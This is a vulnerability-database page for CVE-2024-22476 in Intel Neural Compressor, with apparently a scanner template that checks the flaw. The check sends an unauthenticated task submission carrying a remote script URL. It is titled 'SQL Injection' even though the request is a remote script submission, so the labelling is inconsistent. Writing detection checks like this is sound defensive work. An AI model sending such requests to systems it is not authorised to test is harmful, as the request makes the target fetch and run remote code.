| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| The vulnerability of the library for optimizing machine learning models, Intel Neural Compressor, related to errors in processing input data, allows attackers to exploit it to gain increased privileges. | 3 Jun 202400:00 | – | bdu_fstec | |
| CVE-2024-22476 | 17 May 202414:56 | – | circl | |
| Intel Neural Compressor 安全漏洞 | 16 May 202400:00 | – | cnnvd | |
| CVE-2024-22476 | 16 May 202420:46 | – | cve | |
| CVE-2024-22476 | 16 May 202420:46 | – | cvelist | |
| Intel® Neural Compressor Software Advisory | 14 May 202400:00 | – | intel | |
| Intel Neural Compressor < 2.5.0 Multiple Vulnerabilities | 29 May 202400:00 | – | nessus | |
| CVE-2024-22476 | 16 May 202421:16 | – | nvd | |
| PT-2024-3895 · Intel · Intel Neural Compressor | 16 May 202400:00 | – | ptsecurity | |
| CVE-2024-22476 | 4 Feb 202523:48 | – | redhatcve |
id: CVE-2024-22476
info:
name: Intel Neural Compressor <2.5.0 - SQL Injection
author: ritikchaddha
severity: critical
description: |
Improper input validation in some Intel(R) Neural Compressor software before version 2.5.0 may allow an unauthenticated user to potentially enable escalation of privilege via remote access.
impact: |
Unauthenticated attackers can escalate privileges or perform malicious actions through improper input validation in Intel Neural Compressor.
remediation: |
Update Intel Neural Compressor to version 2.5.0 or later.
reference:
- https://huntr.com/bounties/300bffa9-b240-4201-a1d9-e3ec8d802e4a
- https://nvd.nist.gov/vuln/detail/CVE-2024-22476
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2024-22476
cwe-id: CWE-20
epss-score: 0.33357
epss-percentile: 0.98167
metadata:
max-request: 1
tags: cve,cve2024,intel,neural-compressor,sqli,intrusive,file-upload,vuln
http:
- raw:
- |
POST /task/submit/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification/run_glue.py","optimized": "False","arguments": ["--model_name_or_path bert-base-cased --task_name mrpc --do_eval --output_dir result"],"approach": "static","requirements": [],"workers": 1}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'status":"successfully'
- 'Task submitted successfully'
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4a0a0047304502206366dbbf86e2aa81b4412ecf6496237b937c028f75b5e5ddb0903850b044ffcb022100f69fa31a9846778451d0e5c2ba00553b7af96d533efc5ff61430a1cdbf709b44:922c64590222798bb761d5b6d8e72950Data
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